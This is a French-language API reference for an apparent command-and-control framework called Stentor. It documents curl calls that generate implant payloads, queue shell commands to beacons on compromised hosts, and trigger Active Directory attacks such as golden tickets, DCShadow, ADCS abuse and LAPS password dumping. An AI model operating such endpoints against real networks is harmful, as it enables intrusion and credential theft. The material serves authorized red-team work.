Référence de l'API REST¶

Documentation complète pour l'API REST Stentor : authentification, catalogue de points de terminaison, schémas de requête/réponse, codes d'erreur et exemples de requêtes utilisant curl.

Introduction¶

L'API REST de Stentor fournit un accès programmatique à toutes les opérations C2. Il suit les conventions REST standard avec les corps de requête et de réponse JSON.

Tous les points de terminaison protégés nécessitent un en-tête Authorization :

Authorization: Bearer <access_token>

Authentification¶

Stentor utilise JWT (JSON Web Tokens) pour l'authentification. Les jetons d'accès sont de courte durée et sont renvoyés dans le corps de la réponse JSON. Les jetons d'actualisation sont fournis via des cookies sécurisés httpOnly (jamais exposés à JavaScript).

Connexion¶

Authentifiez-vous avec votre e-mail et votre mot de passe pour obtenir un jeton d'accès.

POST /api/v1/auth/login

Corps de la demande :

Corps de la réponse :

Un cookie httpOnly stentor_refresh est également défini avec le jeton d'actualisation.

curl -s -X POST https://stentor.app/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "your-password"
  }'

{
  "access_token": "eyJhbGciOiJIUzI1NiIs...",
  "user": {
    "id": "550e8400-e29b-41d4-a716-446655440000",
    "email": "[email protected]",
    "role": "admin",
    "created_at": "2026-01-15T10:30:00Z"
  }
}

import requests

resp = requests.post("https://stentor.app/api/v1/auth/login", json={
    "email": "[email protected]",
    "password": "your-password"
})
token = resp.json()["access_token"]
headers = {"Authorization": f"Bearer {token}"}

Réponses aux erreurs :

Actualisation des jetons¶

Échangez le jeton d'actualisation (à partir du cookie httpOnly) contre un nouveau jeton d'accès. Implémente la rotation des jetons : chaque actualisation émet un nouveau jeton d'actualisation et révoque l'ancien.

POST /api/v1/auth/refresh

Aucun corps de requête requis. Le jeton d'actualisation est lu à partir du cookie stentor_refresh.

Corps de la réponse :

Un nouveau cookie stentor_refresh est défini avec le jeton d'actualisation pivoté.

curl -s -X POST https://stentor.app/api/v1/auth/refresh \
  -b "stentor_refresh=<refresh_token>"

Réponses aux erreurs :

Révocation de jeton (déconnexion)¶

Révoquez le jeton d'actualisation actuel et effacez le cookie. Il s'agit du point de terminaison de déconnexion.

POST /api/v1/auth/revoke

Aucun corps de requête requis. Lit et révoque le jeton d'actualisation du cookie.

curl -s -X POST https://stentor.app/api/v1/auth/revoke \
  -H "Authorization: Bearer $TOKEN" \
  -b "stentor_refresh=<refresh_token>"

Réponse (200 OK) :

{"message": "logged out"}

Billet WebSocket¶

Générez un ticket opaque de courte durée pour l'authentification WebSocket. Utilisé par le frontend pour établir des connexions WebSocket authentifiées sans exposer le JWT dans les paramètres de requête.

POST /api/v1/auth/ws-ticket

Corps de la réponse :

curl -s -X POST https://stentor.app/api/v1/auth/ws-ticket \
  -H "Authorization: Bearer $TOKEN"

Opérateur d'enregistrement¶

Créez un nouveau compte opérateur. Administrateur uniquement : nécessite un utilisateur administrateur authentifié.

POST /api/v1/auth/register

Corps de la demande :

Réponse (201 créées) :

curl -s -X POST https://stentor.app/api/v1/auth/register \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email": "[email protected]", "password": "securepassword123"}'

Réponses aux erreurs :

Utilisateur actuel¶

Obtenez le profil de l'utilisateur authentifié.

GET /api/v1/auth/me

Corps de la réponse :

curl -s https://stentor.app/api/v1/auth/me \
  -H "Authorization: Bearer $TOKEN"

Modèles courants¶

Format de réponse d'erreur¶

Toutes les réponses d'erreur suivent un format cohérent :

{"error": "description of what went wrong"}

Codes d'état HTTP standard :

Limitation du débit¶

Les points de terminaison d'authentification (/auth/login, /auth/refresh) ont des limites de débit strictes pour empêcher les attaques par force brute. Tous les autres points de terminaison protégés ont des limites standard de prévention des abus. Lorsque le débit est limité, l'API renvoie 429 Too Many Requests.

Health check¶

Deux points de terminaison de santé sont disponibles (aucune authentification requise) :

# Root health check
curl https://stentor.app/health

# Versioned health check (includes server identifier)
curl https://stentor.app/api/v1/health

Réponse :

{"status": "ok", "version": "3.0.0", "server": "stentor"}

Référence du point de terminaison¶

Listeners¶

Les listeners sont les points de terminaison du serveur C2 qui reçoivent les connexions d'implant. Chaque listener s'exécute sur un agent de relais et prend en charge les transports HTTP/HTTPS, DNS, SMB ou WireGuard.

Liste des listeners¶

GET /api/v1/listeners

Renvoie tous les listeners configurés.

curl -s https://stentor.app/api/v1/listeners \
  -H "Authorization: Bearer $TOKEN"

Réponse (200 OK) :

[
  {
    "id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "name": "HTTPS Relay",
    "type": "https",
    "host": "10.0.0.50",
    "port": 8443,
    "relay_id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
    "status": "running"
  }
]

Créer un listener¶

POST /api/v1/listeners

Corps de la demande :

curl -s -X POST https://stentor.app/api/v1/listeners \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "HTTPS Relay",
    "type": "https",
    "host": "10.0.0.50",
    "port": 8443,
    "relay_id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
  }'

Réponse (201 créées) :

{
  "id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
  "name": "HTTPS Relay",
  "type": "https",
  "host": "10.0.0.50",
  "port": 8443,
  "relay_id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
  "status": "stopped"
}

Obtenir un listener¶

GET /api/v1/listeners/:id

Mettre à jour le listener¶

PUT /api/v1/listeners/:id

Utilise le même corps de requête que Create. Seuls les champs fournis sont mis à jour.

Supprimer le listener¶

DELETE /api/v1/listeners/:id

Cycle de vie du listener¶

# Start a listener
curl -s -X POST "https://stentor.app/api/v1/listeners/$LISTENER_ID/start" \
  -H "Authorization: Bearer $TOKEN"

Hébergement de fichiers¶

Points de terminaison d'écoute supplémentaires¶

Relais¶

Les relais sont les agents basés sur Kali qui exécutent les listeners et transmettent le trafic C2 au backend.

curl -s https://stentor.app/api/v1/relays \
  -H "Authorization: Bearer $TOKEN"

Réponse (200 OK) :

[
  {
    "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
    "name": "Kali Relay",
    "description": "Primary Kali relay agent",
    "ip_address": "10.0.0.50",
    "status": "online"
  }
]

Payloads¶

Les payloads sont les binaires de l'implant et le shellcode générés pour être livrés aux cibles.

Générer un payload¶

POST /api/v1/payloads/generate

Corps de la demande :

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "listener_id": "6ea88162-d558-404a-a19f-4b4cab34b22f",
    "format": "exe",
    "arch": "x64"
  }'

Beacons¶

Les beacons sont des sessions d'implantation actives sur des hôtes compromis. L'API beacon fournit des fonctionnalités de gestion, de mise en file d'attente des tâches, d'extraction d'informations d'identification, d'énumération du réseau et de post-exploitation.

Liste des beacons¶

GET /api/v1/c2/beacons

curl -s https://stentor.app/api/v1/c2/beacons \
  -H "Authorization: Bearer $TOKEN"

Réponse (200 OK) :

[
  {
    "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
    "hostname": "WORKSTATION-01",
    "username": "CORP\\jsmith",
    "ip_internal": "192.168.1.50",
    "ip_external": "10.0.0.20",
    "os": "Windows 10 Pro 19045",
    "arch": "x64",
    "pid": 4832,
    "integrity": "Medium",
    "last_seen": "2026-02-19T14:05:30Z",
    "sleep": 5000,
    "jitter": 10
  }
]

Obtenir un beacon¶

GET /api/v1/c2/beacons/:id

Supprimer le beacon¶

DELETE /api/v1/c2/beacons/:id

Mettre à jour la note du beacon¶

PUT /api/v1/c2/beacons/:id/note

Corps de la demande :

Mettre à jour les beacons de beacon¶

PUT /api/v1/c2/beacons/:id/tags

Corps de la demande :

Tâche de mise en file d'attente¶

Envoyez une commande à un beacon. La tâche est mise en file d'attente et livrée lors du prochain enregistrement de beacon.

POST /api/v1/c2/beacons/:id/task

Corps de la demande :

curl -s -X POST "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/task" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "shell", "args": {"command": "whoami"}}'

Réponse (200 OK) :

{
  "task_id": "t-550e8400-e29b-41d4-a716-446655440000",
  "status": "queued"
}

Gestion de l'état des beacons¶

Contrôlez le comportement d’exécution du beacon.

Définir un exemple de sommeil :

curl -s -X PUT "https://stentor.app/api/v1/c2/beacons/$BEACON_ID/state/sleep" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"sleep": 5000, "jitter": 20}'

Opérations de jetons¶

Gérez les jetons d'accès Windows sur l'hôte du beacon.

Extraction des informations d'identification¶

Extrayez les informations d’identification de l’hôte du beacon.

??? remarque « Points de terminaison d'attaque Active Directory » Ces points de terminaison implémentent des techniques d’attaque AD avancées. Tous nécessitent un beacon active avec les privilèges appropriés.

**Attaques Kerberos :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/pkinit` | Authentification basée sur le certificat PKINIT |
| `POST` | `/api/v1/c2/beacons/:id/unpac` | UnPAC le hachage de PKINIT |
| `POST` | `/api/v1/c2/beacons/:id/golden_ticket` | Billet d'or de la Forge |
| `POST` | `/api/v1/c2/beacons/:id/diamond_ticket` | Billet Forge Diamant |
| `POST` | `/api/v1/c2/beacons/:id/sapphire_ticket` | Billet Forge Saphir |
| `POST` | `/api/v1/c2/beacons/:id/skeleton_key` | Déployer la clé squelette |
| `POST` | `/api/v1/c2/beacons/:id/sid_history` | Injection de l'historique SID |

**Attaques ADCS (services de certificats) :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/esc1` | ESC1 – Modèle de certificat mal configuré |
| `POST` | `/api/v1/c2/beacons/:id/esc2` | ESC2 – Modèle de certificat à tout usage |
| `POST` | `/api/v1/c2/beacons/:id/esc3` | ESC3 - Modèle d'agent d'inscription |
| `POST` | `/api/v1/c2/beacons/:id/esc4` | ESC4 – LCA du modèle de certificat vulnérable |
| `POST` | `/api/v1/c2/beacons/:id/esc6` | ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 |
| `POST` | `/api/v1/c2/beacons/:id/esc7` | ESC7 - Abus d'un agent de l'AC |
| `POST` | `/api/v1/c2/beacons/:id/esc8` | ESC8 - Relais NTLM vers ADCS HTTP |

**Identifiants fantômes :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/shadow_creds` | Ajouter des informations d'identification fantômes à la cible |

**Abus d'ACL :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/acl_pwreset` | Forcer la réinitialisation du mot de passe via ACL |
| `POST` | `/api/v1/c2/beacons/:id/acl_setspn` | Définir le SPN pour Kerberoasting |
| `POST` | `/api/v1/c2/beacons/:id/acl_addmember` | Ajouter un membre au groupe via ACL |
| `POST` | `/api/v1/c2/beacons/:id/acl_dcsync` | Accorder les droits DCSync |
| `POST` | `/api/v1/c2/beacons/:id/acl_owner` | S'approprier l'objet AD |
| `POST` | `/api/v1/c2/beacons/:id/acl_sdhold` | Modifier AdminSDHolder |

**RBCD (délégation contrainte basée sur les ressources) :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/rbcd_addcomputer` | Ajouter un compte d'ordinateur pour RBCD |
| `POST` | `/api/v1/c2/beacons/:id/rbcd_write` | Écrire msDS-AllowedToActOnBehalfOfOtherIdentity |
| `POST` | `/api/v1/c2/beacons/:id/rbcd_attack` | Exécuter la chaîne d'attaque RBCD |

**Abus de GPO :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/gpo_enum` | Énumérer les objets de stratégie de groupe |
| `POST` | `/api/v1/c2/beacons/:id/gpo_modify` | Modifier le GPO pour la persistance/le mouvement latéral |
| `POST` | `/api/v1/c2/beacons/:id/gpo_cleanup` | Nettoyer les modifications du GPO |

**DCShadow :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/dcshadow` | Attaque DCShadow (complète) |
| `POST` | `/api/v1/c2/beacons/:id/dcshadow_register` | Enregistrer un DC malveillant |
| `POST` | `/api/v1/c2/beacons/:id/dcshadow_push` | Pousser les modifications de DCShadow |
| `POST` | `/api/v1/c2/beacons/:id/dcshadow_cleanup` | Nettoyer l'enregistrement DC malveillant |

**Dumping d'informations d'identification :**

| Méthode | Chemin | Description |
|--------|------|-------------|
| `POST` | `/api/v1/c2/beacons/:id/laps_dump` | Vider les mots de passe LAPS |
| `POST` | `/api/v1/c2/beacons/:id/gmsa_dump` | Vider les mots de passe du compte gMSA |
| `POST` | `/api/v1/c2/beacons/:id/trust_enum` | Énumérer les approbations de domaine |

Énumération du réseau¶

Découvrez les ressources réseau de l'hôte du beacon.

Opérations de registre¶

Lisez et modifiez le registre Windows à distance.

Injection de processus¶

Injectez du code dans des processus distants.

Persistance¶

Installez et gérez les mécanismes de persistance.

Variables de beacon¶

Variables côté serveur associées à un beacon (aucune tâche envoyée à l'implant).

Points forts des beacons¶

Mise en évidence visuelle des beacons dans l'interface utilisateur (partagée entre les opérateurs).

Séances¶

Les sessions suivent l'accès post-exploitation aux hôtes, y compris les associations d'informations d'identification.

Informations d'identification¶

Gestion des informations d'identification autonome (non liée à une session spécifique).

curl -s https://stentor.app/api/v1/credentials \
  -H "Authorization: Bearer $TOKEN"

Poste de pilotage¶

Le cockpit est la principale interface opérateur pour interagir avec les beacons. Il fournit le shell, les opérations sur les fichiers, la gestion des processus, le pivotement, etc.

Exécution des shells et des commandes¶

Opérations sur les fichiers¶

Gestion des processus¶

Proxy SOCKS¶

Redirection de port¶

Pivot du navigateur¶

VPN secret¶

Listeners pivots¶

Opérations de beacon¶

Sessions SSH¶

Gestion complète des sessions SSH via un beacon.

Téléchargements groupés SSH :

Transferts de ports inversés SSH :

Procuration SSH SOCKS :

SSH P2P (pair à pair) :

Listeners pivots SSH :

Opérations PowerShell¶

Bibliothèque BOF¶

Gérez et exécutez les fichiers d'objets Beacon (BOF).

Usurpation d’arguments¶

Trousse Postex¶

Topologie, machines et playbooks¶

Requêtes LDAP¶

Recherche d'erreurs Windows¶

Profils¶

Les profils C2 malléables définissent l'apparence du trafic des implants sur le fil.

# Lint a profile before saving
curl -s -X POST https://stentor.app/api/v1/profiles/lint \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"content": "http-get { set uri \"/updates\"; ... }"}'

Certificats¶

Certificats de signature de code pour la signature de payload.

Phishing¶

Gestion de campagnes de spear phishing.

Scripts¶

Gestion CNA (Aggressor Script) et console REPL.

Rallonges¶

Gestion des extensions de type Armory (packs BOF, outils tiers).

Campagnes C2¶

Gestion opérationnelle des campagnes pour l'organisation des beacons, des listeners et du suivi de l'engagement.

Cibles¶

Hôtes découverts sur le réseau.

Prestations¶

Services réseau découverts (ports, protocoles).

Téléchargements¶

Historique de téléchargement centralisé pour les fichiers récupérés à partir des beacons.

Frappes¶

Résultats agrégés du keylogger sur toutes les beacons.

Captures d'écran¶

Résultats de capture d'écran agrégés sur toutes les beacons.

Sites clonés¶

Clonage de sites pour le phishing et la livraison de payloads.

Profileur de système¶

Reconnaissance cible via le profilage du navigateur.

Trousses¶

Gestion des modèles du kit d’artefacts, du kit de ressources et du kit de masque de sommeil.

Guacamole (accès VM)¶

Intégration d'Apache Guacamole pour l'accès à distance aux machines virtuelles du laboratoire.

Préférences de l'opérateur¶

Paramètres par opérateur avec stockage JSONB.

Piste d'audit¶

Journal d'audit pour les actions de l'opérateur (administrateur uniquement pour la liste).

Statistiques¶

L’agrégation de la barre latérale compte.

Administrateur¶

Points de terminaison de gestion des données administratives.

Profils C2 (anciens)¶

Liste de profils C2 basée sur des fichiers (utilisée par l'assistant de génération de payload).

Points de terminaison du protocole C2¶

Relais WebSocket¶

Le relais se connecte au backend via WebSocket pour le transfert C2 en temps réel.

Ce point de terminaison n'est pas appelé par les opérateurs. Consultez la page WebSocket Protocol pour le CockpitHub WebSocket destiné à l'opérateur.